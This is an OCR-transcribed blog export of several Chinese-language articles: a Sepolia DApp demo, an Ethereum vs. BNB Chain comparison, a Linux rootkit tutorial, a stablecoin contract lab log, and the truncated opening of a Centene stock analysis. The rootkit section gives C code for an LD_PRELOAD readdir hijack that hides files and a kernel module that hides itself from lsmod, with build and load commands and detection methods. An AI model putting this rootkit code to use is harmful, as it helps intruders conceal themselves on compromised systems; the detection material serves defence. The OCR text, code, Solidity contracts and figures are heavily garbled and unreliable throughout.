Sepolia ETH 湖式编 DApp 葡例

暂款合的互助

@ Sepolle 众号 locahost8000 N ddva A H3 ejodes ElomesCansolesouses2) SepoliaETH測試網DApp例 8 0 图 2 top + | |@ Riter 1e: 1 影量下方按细理能治的 MetaMask 提包范度查病资 + cntersis: [S_SAARI folse 已建结 就感:已速感 螺路 : Seplia 比明 (ChainID: 11155111) 户;xff09700597b59947bae77d 群期: 0.8509 ETH 智能合的互動 食持批址: 0xED143bc4863F9235fB4837F2EBA 目期替存的数字 (myNumber: 1024 更新合的数字 战定新数字 What's new in DevToos 138 1024 Be einrw fostures 交县成功1新数字:1024

五、展望DApp應用潜力

我們這個簡單的DApp例然只涉及讀寫一個數字,但它展示了區塊技術與前端應用的核心互 動模式。基於這種思路,DApp的應用潜力是無限的:

1.去中心化支付系统:

。思路:智能合約可以管理用户的代餘额,處理點對點支付。取代傅統銀行,無需第三方 中介,交易直接在區塊键上完成,透明且不可篡改。 o用:跨境支付、小额支付、DApp内建的代交易功能。

1.智能物聯網(IoT)数據探集與證:

0思路:物聯網設備將感測器數據(例如温度、濕度、位置)寫入智能合約,利用區塊的不 可篡改性来確保数據的真實性和完整性。 0應用:供應溯源(農產品、藥品生產到銷售的全程數據上)、環境监測數據的防篡改 記錄、智慧城市傅感器數據共享。

1.数位身份與證:

。思路:智能合約可以存加密的身份資訊或學歷、證害等數位證的哈希值,用户有數據 控制權,可以選選性地向驗證方披露。 0應用:基於區塊的學生學歷證、專業資格證書、健康記錄管理、去中心化身份驗證 (DID)。

1.去中心化金融(DeFi):

o思路:基於智能合約實現借贷、質押、去中心化交易所(DEX)、穩定等金融服務,無需 傳統金融機構。 o鹰用:自動化做市商(AMM)、流動性挖、閃電貨。

1.版權管理與数位資產:

o思路:將數位内容(如藝術品、音樂、文章)的版權資訊或所有權記錄在區塊上,通過智 能合約實現版權的自動化交易和收益分配。 0應用:NFT(非同質化代)藝術品市場、音樂版權共享、内容創作者收益分配平台。

1.避與元宇宙:

o思路:游資產(装備、道具、角色)以NFT形式存在於區塊上,玩家真正有這些資 產,可以在不同游間流通或交易。避规则也可以由智能合約自動執行,增加公平性。 o應用:Play-to-Earn游、虚凝土地所有權、元宇宙中的数位商品交易。 這個SimpleStorage例是所有這些複雜應用的一個微縮模型。它展示了DApp最核心的能 力:讀取上数據(getNumber)和提交交易修改上状(setNumber)。透過將更複雜的業務 辑寫入智能合約,亚設計更豐富的前端介面,您可以構建出涵蓋上述各個领域的創新DApP。

原始排版图

原始导出图超过单张 WebP 的尺寸上限,以下图片按从上到下的顺序连续保存。 Sepolia ETH &amp; BSC 測試網 DApp 範例開發指南:微信公众号导出原始排版图(第 1 段,共 2 段) Sepolia ETH &amp; BSC 測試網 DApp 範例開發指南:微信公众号导出原始排版图(第 2 段,共 2 段)

2025年開發者深度對比分析報告:以太坊 vs. BNB智能鏈

· 閱讀時間約 12 分鐘
w0x7ce
MySelf

发布于 2025-07-23 22:34:59(微信公众号导出记录)。

本文来自公众号后台的“导出文章内容”功能。博客正文由导出长图进行本地 OCR 转写,并保留原始排版图用于逐段核对。

原文链接:查看原文

OCR 转写有效文字约 4040 字;代码、流程图和版式以文末原始排版图为准。

正文(本地 OCR 转写)

original wex7ce EI V1ajero 2825年7月23日 22:35 浙江 以太坊與BNB智能亚非侵劣之分,而是為不同略目標設計的工具。 用發者面离一個根本性抉择:是抱以太坊無與偷比的去中心化與安全性,将其作爲高 值顾用的信任:還是利用BNB智能链的高性能與低成本,将其作為觸及海量用户的 活勤屑。 以太坊(Ethereum) BNB 智能(BNB Smart Chain) 封比维度 全球去中心化安全结算 高性能、低成本的一站式应用平台 核心定位 共機制 益證明(PoS) 權益威證明(PoSA) 安全基石 >100离验證者,經濟学感面 21因经运的验證者信 性能表現 L1较慢,依额L2携容 L1快,交易成本极低 開發者璟 EVM標举制定者,工具链成熟 完全EVM相容,無缝利用以太坊工具 境 DeFi總额會价值(TVL)终 生特微 日活蹈用户数、交易筆数逐逐领先 對领先 以Layer2為中心的模组化 One BNB:多生系统(L1+L2 未来方向

  • 储存)

摘容 第1章:基础架椭:雨大生想的DNA 區塊鲢的底架横决定了其核心特性。以太坊和BSC在此做出了根本不同的設計,完美 释了“區瑰键三困境:中去中心化、安全性與可携展性之間的權衡。

1.1以太坊PoS:為安全奥去中心化而生

以太坊的橙益證明(PoS)機制透遇一间大且動继的脑證者路(已超100第)来保 障安全。其设計精髓在於透遇經济激慰和属的断淀(Slashing)機制,確保證者 诚實行事。

  • 經滴最性(EconomicFinality):-肇交易需的13-15分钟達到最终

化。一旦最化,要推翻它理输上需要攻者销毁价值数十億美元的ETH,為高 價值交易提供了坚如磐石的保障。

  • 抗睿查性:鹿大且地理分散的验者使得系统性、長期的交易容查翼得极為困難。

1.2BNB智能PoSA:為性能與成本而生

BNB智能链的權益權威證明(PoSA)是一因混合模型,旨在實现致的速度和低廉的費 用。 21個验者:路的核心安全由一個催有21個活蹈验證者的小图體继,每24小 時透退BNB持有者實押投票邀举盔生,运使其能實现的3秒的區境時間。 。中心化權衡:遍種設計大地牲了去中心化,亚引入了中心化控制的凰险,例如 验證者更容易串通或在外部墨力下暂停整個路。

1.3核心架指标對比

以太坊(Ethere BNB智能(BNBSm 核心權衡 指標 art Chain) (wn 權益權威證明(PoS 去中心化VS.效 共機制 權益明(PoS) A) 率 安全的虞度 Vs. 融證者数量 21 > 1,066,880 决策的速度 谨的確 vs. 區境時間 ~12秒 ~3秒 快速的回愿

  • 13-15分

  • 7.5秒(機率性最终

高價值结算 (經 Vs. 交易最终性 高频互动 性) 济最终性强) 依额L2容 VS . L1 TPS ~15 -30 166 -308+ L1原生高性能 $2 ~$0.01 $0.10 平均交易費 $15+(高 安全溢价VS.用 (2024) 度波勤) (稳定低廉) 户可及性 去中心化程 安全舆抗密查VS. 低(中心化) 高 性能舆成本 度 第2章:開發者環境:共享工具與细微陷阱 得益於EVM相容性,雨大平台共享了核心的開發語言和工具,但開發者必须警惕「相 容不等於完全一致。

2.1共享的語言奥工具

  • 言:SoLidity是雨大生通用的智能合約語言。Vyper作為一更注重安

全性的Pythonic語言,也可在兩個平台速行。

  • 工具:BSC開發者可直接使用為以太坊打造的成熟工具,如RemixIDE(快

速原型),Truffle(全楼周發),Hardhat(现代周發框架) 和Foundry(高性能测試)。切換網路通常只需修改配置文件中的RPC URL和Chain ID

2.2EVH相容性的现實奥凰险

dApp以太坊逻移至BSC看似商單,但必须警惕以下淄在陷阱: 下依赖:硅保预言(Chainlink)、索引服務(TheGraph)等键基 設施在BSC上可用且可靠, 安全假設改曼:為以太坊高Gas费璟境設計的安全模型(如防摘跑交易),在BSC 的低費用、高速度環境下可能失效,暴露新的攻黎向量, 跨机凤险:產通移依赖跨键椅,而跨橋是復且高风随的组件。2022年BSC 官方跨疑被盗事件是修痛的教訓。 社群與流勤性:程式碼可以覆製,但信任、流励性和社群無法輕易通移。成功的 通移:往往是原專案方的官方多键部署,而非商單的程式碼覆裂。 第3章:安全深度剖析:雨種模型的博弈 以太坊和BSC提供了雨種截然不同的安全哲學,開發者需根據愿用自身的威确模型连行 遥择。

3.3安全模型對比

安全 以太坊(Ethereum) BNB智能键(BNB Smart Chain) 维度 基於大规模經滴博奔。攻黎成本 安全 基於融證者信警和協調能力。依赖21個 高连数十億美元,且有照属的 基碟 聪證者的誠實舆安全。 没機制。 智能合Bug、ME 中心化凰险 级漏洞、 主要 :驗者审通、外部密查驱力、單點故 V中心化超势(透逸PBS銀 风险 解)。 障。 2022年跨键桐被盗 經受住了多年考,被银為是高 :攻擎者利用合的遍洞源空增發BNB。官 案例 價值资產最可信的底。 方透過調證者暂停全來應到,凸显 了其中心化治理的雙刃剑效鹿。 放市場與協化 受控市場 :在其許可的睡證者架精内,建立一個 :透遇MEV-B00st和未来的 MEV 公平统一的MEV市場,更偏向於中心 内PBS,旨在將MEV取民主 哲學 化,增强抗寄查性。 化管理, 结输:一個掌管数億美元的DeFi,必须遇挥以太坊的强經清安全。而一個键上道 ,其管还安全:(流幅、低成本)可能比防箱國家级密查更重要,此時BSC是更置 際的選择, 第4章:生题系统分析:资本與用户的歸 继上数揭示了雨個生感系统的不同墨像:以太坊是资本的家圆,而BSC是用户的操 園。

4.1以太坊:資本的信任

.TVL主導地位:以太坊的鎖會價值(TVL)常年保持在BSC的10倍以上(的$828 v5~$67億),是Aave、Lido、Uniswap等蓝需DeFi和機構資本的首 遥。

  • 高價值NFT:是CryptoPunks、Bored Apes等蓝等NFT的提生地和主要交易市

场。

  • 創新前沿:是流動性質押、再質押(Restaking)等DeFi新事的發源地。

4.2BNB智能:用户的活勤

活显度领先:日活蹈用户数和交易筆数持绩数倍於以太坊L1,完全是其低費用策 略的成功。

  • DEX交易活蹈:得益於低成本,其24小時DEX交易量有時甚至超通以太坊,反映了

更频繁的零售交易行爲。 GameFi沃士:低廉的微交易成本使其成為链道(GameFi)和高频消费应用的天 然遇择。

4.3生系核心指標比(2024/2025數快照)

以太坊(Ethereu BNB智能(BNBSm 指標 解馈 art Chain) m)& L2s 會俱值 资本信任度的體 ~$825億美元 $67值美元 (TVL) 现 24小時活露 用户可及性的體

  • 51.8萬

(L1)+

  • 233萬

L25 地址 现 (L1)+ ~168萬 24小時交易 路使用成本的 ~1374萬 L2s 筆数 直接结果 創新動 創新服勤 Vs. VS. PancakeSwap Uniswap,Curve 核心DEX Curve

零售動

零售驱动

兩個不同但真實 生態壹像 資本的信任層 用户的活動層 存在的市場 重要提示:直接比较以太坊L1與BSC的活度具有误導性。以太坊的真實活動是L1+ 所有Layer2(Arbitrum,Optimism等)的總和。BSC的真正競爭者,是這些提 供同樣低費用的以太坊L2網路。 第5章:未來展望:兩條分化的摘容之路 兩大平台的發展蓝圖進一步揭示了它們的略分歧。

5.1以太坊的藍圆:以Layer2為中心的模組化未來

以太坊正全力將自身打造成全球安全結算層,將執行任務外包L2。

  • 核心略:模組化區塊。L1負责安全和數據可用性,L2負责計算和執行。

  • 關鍵措:

oDencun升級(EIP-4844):已於2024年實施,透過引l入「Blobs」大幅降 低L2的數據成本,使L2交易費降至美分甚至更低。 o完全分片(FullDanksharding):長期目標,將進一步極大提升数據空 間,支持數萬TPS的生態系統總吞吐量。 。協内PBS:將MEV解决方案整合進核心協,增強去中心化和抗蜜查性。

5.2BNBChain的蓝圖:一體化的高性能多生

BNBChain致力於打造一個垂直整合、協同工作的「OneBNB生態系統。

  • 核心略:一體化平台。透過極致優化L1構建自有L2和存,提供一站式解决

方案。

  • 關鍵措:

oL1性能增强:計劃将區塊GaS上限提升10倍,支持每秒處理5,000筆DEX交 易。 opBNB(Layer2):基於0PStack構建的L2,目標是實現超4,000TPS 和低於$0.001的交易費,主攻游和高频應用。 。BNBGreenfield(去中心化存):與BSC協同工作,為dApp提供原生的 去中心化存解决方案。 第6章:結與開發者略決策

6.1略决策矩陣

决策因 選選以太坊(及其L2s) 選選BNB智能(及其生態) 素 核心價 無需信任的安全性、去中心化 極致的性能、低成本和用户體驗 值主張 高價值DeFi協、機構金 链游(GameFi)、社交dApp、高交 理想應 融、DAO治理、蓝NFT 用場景 易、面向海量零售用户的應用 目標用 DeFi巨鲸、機構資本、加密 對價格敏感的零售用户、Web2移用 户 原生用户 户、游玩家 主要考 安全是第一要務,意為去中 用户增長和活度是首要目標,可接受 中心化带來的風。 量 心化支付溢價。

6.2抱多未来

最優策略往往不是「二選一」,而是根據業務需求進行多部署。例如:

  • 在以太坊L1或L2上部署核心金库和治理合約,利用其安全性。

  • 在BSC或opBNB上部署面向用户的交易前端,利用其低费用和高速度。

6.3最終結語:競爭走向共存

以太坊和BNB智能正日益分化,分别服務於Web3世界的不同细分市場。以太坊正固 其作為全球安全算層的地位,而BNB智能键则致力於成為服務海量用户的高性能執行 環境。 對於開發者而言,這代表著廣阔的機遇。最成功的構建者將是那些能深刻理解雨大生 的本質權衡,懂得如何巧妙駕和組合其優勢的人。在多存的時代,適應性和跨 生的視野是通往成功的關键。

原始排版图

2025年開發者深度對比分析報告:以太坊 vs. BNB智能鏈:微信公众号导出原始排版图

Linux Rootkit:技術原理、攻擊實作與可靠性檢測

· 閱讀時間約 7 分鐘
w0x7ce
MySelf

发布于 2025-07-22 11:14:48(微信公众号导出记录)。

本文来自公众号后台的“导出文章内容”功能。博客正文由导出长图进行本地 OCR 转写,并保留原始排版图用于逐段核对。

原文链接:查看原文

OCR 转写有效文字约 4101 字;代码、流程图和版式以文末原始排版图为准。

正文(本地 OCR 转写)

本文旨在對Linux 璟填下的 Rootkit技術进行深度分析,提供基於C韶言和内核模组的攻型 震作例,亚量述在系统工具可已被污染的情况下,如何造行可靠的状感推视网系接别

第一章:使用者空間Rootkit:LD_PRELOAD劫持

1.1技衡原理

L1nux 删感谨结器(Dynamic Linker)透遇 LD_PRELOAD 瑞境攀数,允许在庭用释式欲删時 制像先载入指定的共享座(.50榴案)。攻聚者可利用此機别,编寫一因恶意共享序置作與棵单 C函式座(Libc)中同名的函式。l.s 等指令被软行i,恶盈函式會取代原始函式,而描 亚通输出,到围荒榴案等目的。

1.2實作询實验:劫博readdir

本實胎建一健慈意共享康,劫持readd1r函式,以爆藏所有以_SECRET_為前绥的相案 攻程式碼(ld_hijack.c) #define GNU_soURCE #include <stdio.h> #include <dirent.hs static const char* HIDE_PREFIX = *SECRET"; //原始readd1r通式的通式指標原型 Lypedef slruct dirent * {*arig reatdir_t](0iR ×dirp); //置作[ibc中rcaddir 同名的意函式 //透通dlsyn瘙取下一需符號(即原始的readdir)的位址 orig_readdir_t orig_readdir = (orig_readdir_t)dlsym[RTLo_NExT, *re struct dirent *dir; 11通面呼叫原始函式,直到找到一留不需题的修目 while ((dir = orig_readdir(dirp)1) { 1f (strstr(cir->d_nane, HIDE_PREFIX) -- NULL} { break://如需瘤各不包含题的摄,别回傅酸修目 relurn dir;

實验步眼与验资 并1.输物共享康 gcc -shared -fpIc lc_h11ack.c -o ld_h1jack.so -ldl #2.别建测试瘤察 touch _SECRET_internal_memo.txt touch public_report.txt

3.正常赖行L5,所有慶案均可党

echo "..- [BeFoRE] Running ls nornally!" ls -1 预期输出: #_SECRET_interna?_memo.txt 12# Id_hijack.so 13 # public_reporf.txt

1.4#

15#4.使用LD_PRELOAD赖行5,秘密察鼓硬离 echo -e "yn--- [AFTER] Running ls with LD_PRELOAD:" 18#预期糖出(_SECRET_InternaL_meno.txt B消失): #Id_hijack.c 21# pubtic_report.txt

第二章:内核空間Rootkit:横組奥系統呼叫

2.1技衡原理虎置作:泄薇内核模

  • 技原理Linux内核透遇一個蔓向耀结果列束遍能所有已数人的极组(LKM)。1smod播令

的调訊来源即為此经表。量LKM在基人後,可执行 ist_del_init(&_this_module.list),其自身的點偿此经表中移除,而 lsmod 等標萃工具周形

  • 實驰:藏LKM或用交叉比法發玥它

攻聚程式码(hidden_Lkn.c)

include <linux/init.h> HODULE_LICENSE(GPL); HoDULE_DESCRIPTIoN(*A module that hides itself fron lsmod"); static int _init hidden_init(void) { 11偿全垃模组缺表中游白身移除,實理硬微 list_del_init(&_this_module.list); return 6; static void __exit hidden_exit(void) {} nodule_exit(hidden_exit) ; Makefile obj -n += hidden_1kn.0 all: nake -C /lib/nocules/${sheLL unane -r] /buitd M=$[PWD) modules clean: nake -C /lib/nodules/$(shell unane -r) /build M=$(PD)clean 部署奥检测實验 并1.编螺模组(假投環境配置正础) make #2.加载模组 sudo insmod hidden_1km.ko

53.使用Lsnod 罐,预期线不致hdden_Lkn

echo ".-- [INFo] Checking with lsnod.." lsnod I grep hidden_1km [INFo] lsnod check conplete. (No output is expected)* echo "...

4.可靠的搬漏:交又比/proc/kallsyns 與/proc/nodutes

ccho -e "yn--- [INFo] crass-referencing ta find hidden modules...* conn -23
's//1/s。 pes I ,[Ns qutad}, xe | su(s11ex/soud/ ,[s-1, da6]> (n- ↓uos | sanpom/soud/ {ts 4urud), xme]> 14预据糖出: 15#hidden_Lka 技斯原理:系统呼叫封持 此技術透通修改内核中的系呼叫表[sys_cal1_table),将原始的系統呼叫函式指标替换為恶意 函式的位址。这是量高耀限的截方式。但由龄现代Linux内核包含多强大的安全制(如 KernelLockdown),直接、疆定地實作此技術度依赖特定且通常较善的内核環境,故本文聚您 於其理逾和椎测方法。

第三章:直接取盟:/proc重建系统状慧

当疑系统工具已被污染時,必酒通它仍,直接内核暴鑫的原始数據源/proc檔案系统中请取 资讯。

3.1可靠的行程列表(ps替代方案)

  • 原理:遍歷/proc目錄下的數字子目錄。每個數字目錄即為一個行程ID(PID),其下的

comm文件是行程名,cmdline文件是完整的動指令行(以\0分隔)。

  • 實指令

d uou4 sossd s doi Butistn Anqetiad ---, ooe echo ".-- Reliably Listing Top 5 Processes from /proc:" /,p- ns | +[6-a]. aueu- p adf1- [ yndapxeu- aoud/ putj)$ ut pid Joj printf "PID: %-7s Name: %-15s Cmdline: %s\n"
"PTd$" "$(cat /proc/$pid/comm 2>/dev/null)"
done 丨head -n 5

3.2可靠的網路連接列表(netstat/ss替代方案)

  • 原理:直接解析/proc/net/tcp文件。該文件包含了所有TCP連接的底層資訊,但其

IP地址和端口號是以十六進制(且為LittleEndian字序)格式存的,需要解碼。

  • 實驗指令與本

解碼本(decode_tcp.awk) #!/usr/bin/awk -f function hex_to_dec(h) { return sprintf("%d","ox" h)} function hex_to_ip(h){ return hex_to_dec(substr(h,7,2)) "." hex_to_dec(substr(h,5,2)) ". { BEGIN{ printf "%-22s %-22s %s\n","Local Address","Remote Address","Sta’ states["O1"]="ESTABLISHED"; States["OA"]="LISTEN"; 6 10 { 11 NR > 1 { split($2, local, ":"); 12 13 split($3,remote,":"); 14 if ($4 in states){ state = states[$4] } else { state ="oTHER" } 15 printf "%-22s %-22s %s\n", 16 hex_to_ip(local[1]) ":" hex_to_dec(local[2]), 17 18 state

執行解碼 echo ".-- Reliably Listing TcP Connections from /proc/net/tcp:" chmod +x decode_tcp.awk ./decode_tcp.awk /proc/net/tcp

第四章:系統化的测與離線分析

手動查適用於初步判,系統化的策略才是防的關键。

  • 檔案完整性控(FIM):使用AIDE、debsums或rpm-V等工具,定期對關键系統檔

案的雜凑值(hash)進行比對,以發現二進位檔案替換。

  • 離線分析(offlineAnalysis):這是最可靠的機测方法。在受疑系統關機或被隔離後,

對其記憶體轉或磁碟映像進行分析。 o記憶體取證:使用Volatility3框架,其linux.check_Syscalls插件可精確機 測系統呼叫表是否被排;linux.check_modules可發現藏的内核模組。 o磁碟取證:使用TheSleuthKit(TSK)等工具,可底層文件系統結構中恢復被 Rootkit藏或“删除”的檔案。

第五章:總結

本文透通理結合可重現的實驗,系統性地展示了Rootkit的攻擎手法與可靠的測方式。其核 心結為:在應對高威時,必须放對標准高層工具的盲目信任,韩而/proc等内核直接暴 露的數據源進行底層取證與交叉驗證。對於深度藏的内核級威,離線取證是最終且最可靠的裁决 手段。

原始排版图

Linux Rootkit:技術原理、攻擊實作與可靠性檢測:微信公众号导出原始排版图

實驗日誌:從零到一,構建可雙向操作的 ETH 抵押穩定幣協議

· 閱讀時間約 9 分鐘
w0x7ce
MySelf

发布于 2025-07-20 23:50:19(微信公众号导出记录)。

本文来自公众号后台的“导出文章内容”功能。博客正文由导出长图进行本地 OCR 转写,并保留原始排版图用于逐段核对。

原文链接:查看原文

OCR 转写有效文字约 6000 字;代码、流程图和版式以文末原始排版图为准。

正文(本地 OCR 转写)

實验日:零到一,横建可雙向操作的ETH抵押穩定協 vex7ce EI V1ajero 2625年7月20日 23:50 广东 本置验旨在磺建亚验罐一個功能完的、基於以太坊(Sepol1a别试编)的抵挥定赔協。 支持用户抵押ETH以造疆定(NSC),允許用户操逼MSC以素回其抵押的ETH,本设計的 核心是引入了遇度抵押(156%)和健康因子計算,作高基碰的凰险管理機制此文檀記了合约编 离到最終集成测试的完整流程。

一、系统蓝图 (System Blueprint)

本協读由雨個核心智能合的模成,共同宽现其核心功能:

1.HyStableCain.sol(MSC):作為协髮行的福定资。

遵循ERC2θ 標军,代號MSC. 。内置mint()(端造)和 burn()(第跌)方法。 。為碰保货带行權的唯一性與安全性,道雨個核心權限將通通Ownable模式,舞家授予端 核心引辈合的 Engine.sal

1.Engine.sol:作為的核心通畅引擎

抵押品管理:负责接收、镇定和解還用户的ETH括押品。 通度抵押制:强制软行159%的抵押率。即用户抵押倡值$156的资產,最多可锦造 假值$109的硬定常。 。资產造贝回:

  • 造(Deposit &Mint):依據用户存人的ETH和Chainlink提供的置時情

格,計算造相感款量的MSC。

  • 回(Redeem&Burn):接收用户际的MSC,轨行销级,亚按實時候格計算、返

退封愿價值的ETH 凤隐监控:提供getHealthFactor 視圆函数,允許外部查询任一盒位的健康状况。 核心交互流程量:

  • 警流程:

用户->送 ETH-> Engine.sol oEngine.sol->前 ChainLink价格 Eng1ne.sol->融馏通度抵押,計算可造数量 Engine.sol->MyStableCoin.mint()-> 爱送 MSC 至用户地址

  • 腹回流程:

o用-> MyStableCoin.approve[) 授槽->Engine.sol 用月-> Engine.sol.redeen() o Engine.sol -> MyStabteCoin.burnFrom() 级用的 MSC oEnginc.sol>叠物 Chainlink俱格,計算愿遣 ETH->豫送ETH 至月乒地址

二、榕资產:MyStableCoin.sol

使用OpenZeppelin ERCz0Burnable 撰展以震现掌化的功能。 源代硼MyStableCoin.sol: // SPDx-License-Identifier: NIT pragna solidity ^0.8.20; inport "(openzeppelin/cantracts/token/ERcza/extensions/ERczoBurnable.5: inport "eopenzeppelin/contracts/access/ownable sol";

  • @title Mystablecoin

  • @dev 一可橘造、可鳞毁的 ERC29 代,由唯一的 Ovner [Engine.sol} 控割

  • /

contract MyStableCoin is ERcza, Ownable, ERczoBurnable { //横造函数,初始化代磨名额、符號和初始Owner constructor() ERC2e(My Stable Coin", “MSc) Ownable(msg.sender) { @dev 播造新案。只能由 Owner 调用。 / functian mint (address to, uint256 amount) public only0wner { _mint(to, onount);

部鲁後得到NyStableCoin合的地址8x7fAa36FD4295569752C192d69eB49F3f:5A45dD

三、榕通:Engine.sol

封装了所有核心繁移逼畅,包括抵押、造、照回和凰险計算。 源代疆 Engine.sol: // SPDX-LIicense-Identifier: NIT pragna solidity ^0.8.28; 1nport "@chainlink/contracts/src/vo.8/interfaces/Aggregatorv3Interface inport "./Nystablecoin.sal"; contract Engine { 就影婴量 /7 Aggregatorv3Interface internal priceFeed; My5tableCoin public mscToken; uint256 publlc constant CoLLATERALIZATIoN_RATI0 - 150; uintz56 private constant FEED_PRECI5I0N = le8; napping(address => uint256) public debtInMSC; 事件 // event CollateralRedeemed(address indexed user, uint256 mscAmount, 造函数 constructor(address _priceFeedAddress, address _mscTokenAddress) { priceFeed = Aggregatorv3Interfacef_priceFeedAddress) : mscToken = MyStableCoin(_mscTokenAddress); function depositAndMint() public payable { require(nsg.value > 0, Hust deposit ETH); uint256 ethPrice = getEthPriceInusd(): uintz56 collateralvalueInUsd = (msg.value * ethPrice) / FED_P ulnt256 anountToMint - (collateralvalueInUsd * 109) / CoLLATER require(anountToMint > 0, Deposit not enough to mint any MSC" collateral [nsg.sender] += msg.value; mscToken.nint (msg sender, amountToMint) : emit CollateralDeposited(nsg.sender, nsg.value); function redeenAndBurn{uint256 _mscAnountToBurn) puhlic { require(_nscAnountToBurn > θ, "Must burn nore than θ HSC); require(debtInMSC[msg sender] >= _mscAnountToBurn, *Cannot bun uint256 ethPrice = getEthPriceInusd(); ulnt256 ethAnountToRedeen - (_mscAnountToBurn * FEED_PRECISION require(collateral[msg-sender] >= ethAnountToRedeem, *Not enou deht InMSC[nsg sender] -= _nscAmountToBurn; collateral[nsg sender] -= ethAmountToRedeen; 4 2 mscTaken burnFrom{msg sender, _mscAnountToBurn) : 13 (bool success, ) = payable(msg.sender) -call{value: ethAnountTol require(success, ETH transfer failed); emit CollateralRedeemed(msg sender, _nscAnountToBurn, ethAmoun 辅助/视盈功能 // functian getEthPrireInusd() public view returns [uint256) { )= priceFccd.latestRoundData[); (, Int price, . ) = priceFeed. LatestRoundData(); return uint(price): function getHealthFactor(address _user) public vlew returns (uint2. uint256 collateralEth = collateral[_user]; uintz56 dcbt = debtInNsC[_user] : 1f (debt == 0) return type(uint256) .nax; uint256 ethPrice = getEthPriceInusd(): uintz56 collateralvalucInUsd = (collateralEth * ethPricc) / FE uint256 debtvalueInUsd - debt; return (collateralValueInUsd + PRECISIoN) / debtvalueInUsd;

部暑後得到Engine合地址Bx735Da4333D1fHef19760F4BA

四、部署、速接與授權(服格按序執行)

此璟颜包含整信熔能购正常工作的開键步器。必须最格按照期序操作和胎罐。

4.1部署 MyStableCoin.sol

1.在 Remix 中,還摄 MyStableCain.sol 合的。

2.贴聚“Deplay”进行部墨。

3.起地址:部署成功後,在“DepLoyed Contracts”区境搜频合的的地址,稍之

為MSC_ADDRESS,

4.2够署 Engine.sol

1,在 Rcmix 中,通捶Enginc.sol 合的。 2,在“DepLoy”按钮无的桶造函数参数输入框中,按顺序填意: _priceFeedAddress 地 ( 0x694AA17693572150E4FAC081bf1f309aDC325306

  • (此為Sepolia 密试耀的ETH/USD價格数螺源)

°_nsCTokenAddrcss (地址):粘胎上一步能操的 MSC_ADDRESS.

1.點整“Deploy”进行邮署。

2.靶藜地址:部署成功後,夜 Engine 合的的地址,属之為 ENGINE_ADDRESS.

4.3罐授:移交所有

  • 原因明:此步骤是整四的命眠。HyStableCain的mint 函微受onlyOuner 保

强。為了 Engine 合的施成功造代带,Engine 合的自身必须成微 My5tableCoin 合的的owncr.

  • 款行操作:

1.回到 Renix 中巴部署的 MyStableCoin 合的宽例。

2.找列 transferDwnership 函数。

3,在旁遗的输入框中,粘贴ENGINE_ADDRES5。

4.脂聚 transferDwnership 按钮,亚在 MetaMask 中殖裂交易。

4.4强制瞻盟:碰留授權成功

  • 目的:在进行下一步测试前,必浪随保權限已正硬設置。

  • 款行操作:

1.等待 transferDanership 交易成功。

2.在MyStableCoin 合约宽例上,贴owner 视面函数技翅。

3.核對结果:返四的地址必渠兴 ENGINE_ADDRESS 完全一致。

4.如果地址不一致,請不要逛行下一步,重新软行4.3步骤。

五、系统集成测腻

在完成业睡所有部署和授壁步履很,需始进行功能测试。 潮用例1:存款與警(Deposit&Hint)

1.定位到已部署的 Engine 合的實例。

2.在Remix左上角的“Vatue*字段输入200,确保单位是Finney。

3.终用depositAndMint 函数兼殖交易。

4.结果睡量:

MSc除翻:在MyStableCoin 合约實例上,期用balanceOf 查陶用户地址,應能看 到非零的 MSC 除。 健康因子:在 Engine 合約實例上,期用getHealthFactor 查旗用户地址,返回值愿 接近 150008008600000000 (1.5)。 o = ev

公奋司 Etvialero 添加查詢自己發行的代

測試用例2:回與銷毁(Redeem&Burn)

1.授權(Approve):

o定位到MyStableCoin合約實例。 o調用approve函數,將spender設置為ENGINE_ADDRESS,amount設置為希望 回的数量(例如50000000000000000000代表50MSC)。 。確交易。

50

1.腹回(Redeem):

o定位到Engine合約實例。 o調用redeemAndBurn函數,將_mscAmountToBurn設置為與上一步approve相 同的数量。 。確韶交易。 eeeeeemm

  • m8 @s

EAXIRON 2000 %.4.8

已經提取出50MSC

1.结果證:

oETH餘额:應截察到包的ETH餘增加。 oMSC餘额:MSC餘额相鹰减少。 0健康因子:健康因子應高於初始值,表明詹位風险降低。 S(1) s601 TRANSACTION ACTION Approve 50 O MSC forTnade on Ox735Da433894049F23 by OxFaef0970.AFe14774d [This is a Sepll Testnet transaction only] 1 Transaction Hash: 0x1fb948f9c53c43487c7773a38c342980 JES916P10 Status: Block (1n d 880 s20z-02-nr) o6e suw From: ef09708060405E1e97eBd596947CBAFe14774d To: Value: 0 ETH

0.000070514291855189 ETH

Transaction Fee: sg

1.501486103 Gwei (0.000000001501486103 ETH)

More Details:

六、结與展望

至此,一個包含核心穩定機制的DeFi協已成功構建完成完整測試。本實驗驗證了合約間的權 限控制、與预言機的交互以及基於通度抵押的資產發行與回遥辑。後續可在此基上,進一步探索 清算引擎、多抵押品支持及去中心化治理等高級功能。

原始排版图

實驗日誌:從零到一,構建可雙向操作的 ETH 抵押穩定幣協議:微信公众号导出原始排版图

Centene Corporation (康西哥, CNC) 崩盘后的估值重估与未来展望

· 閱讀時間約 34 分鐘
w0x7ce
MySelf

发布于 2025-07-19 01:50:09(微信公众号导出记录)。

本文来自公众号后台的“导出文章内容”功能。博客正文由导出长图进行本地 OCR 转写,并保留原始排版图用于逐段核对。

原文链接:查看原文

OCR 转写有效文字约 18786 字;代码、流程图和版式以文末原始排版图为准。

正文(本地 OCR 转写)

未来展望 original w0x7ce EI V1ajero 2825年7月19日 01:50 日本 投资摘要 本报告旨在对CenteneCorporation(纽约证芬交易所代码:CNC)的股票进行全面、 深入的分析。核心投资论点是,是管Centene的段价在近期经历了灾难性的下跌,其估值 在表面上看似极具吸引力,但导致此次前盘的核心负面催化剂——即公司管理层信誉的彻底丧 失以及对2026年盈利能力的高度不确定性一尚未被市场完全消化。简而言之,该股票的 “便宣”是有其深刻原因的。 主要负面因素:Centene正面临一场双重危机。首先,其在健康保险市场 [Marketplace)业务中的风险调整模型遭過了灾难性失败,这不仅是一次性的财务打击, 更募露了公司在核心精算和风险评估能力上的严重缺陷1。其次,其规模庞大的医疗补助计 划(Medicaid)业务正遭受医疗成本急剧上升的冲击,这主要源于Medicaid 资格重审 后留存会员的更高疾病风险。这两大问题共同指向了公司在理解和定价人口醚裹风险这一 核心竞争力上的系统性蜀点。 估值结论:基于对已按露信息的分析,本报告重新测算了Centene2025年的调整后稀 释每股收益(AdjustedDilutedEPS)。在原先超过7.25的指引基础上,仅已知的风险 后,预计其2625年调整后 EPS可能降至3.25至3.85美元的区间。更重要的是,由于管理层信的离塌,该股的 复苏的保守预期(EPS约为5.00美元)和11倍的远期市盈率(ForwardP/E),其理 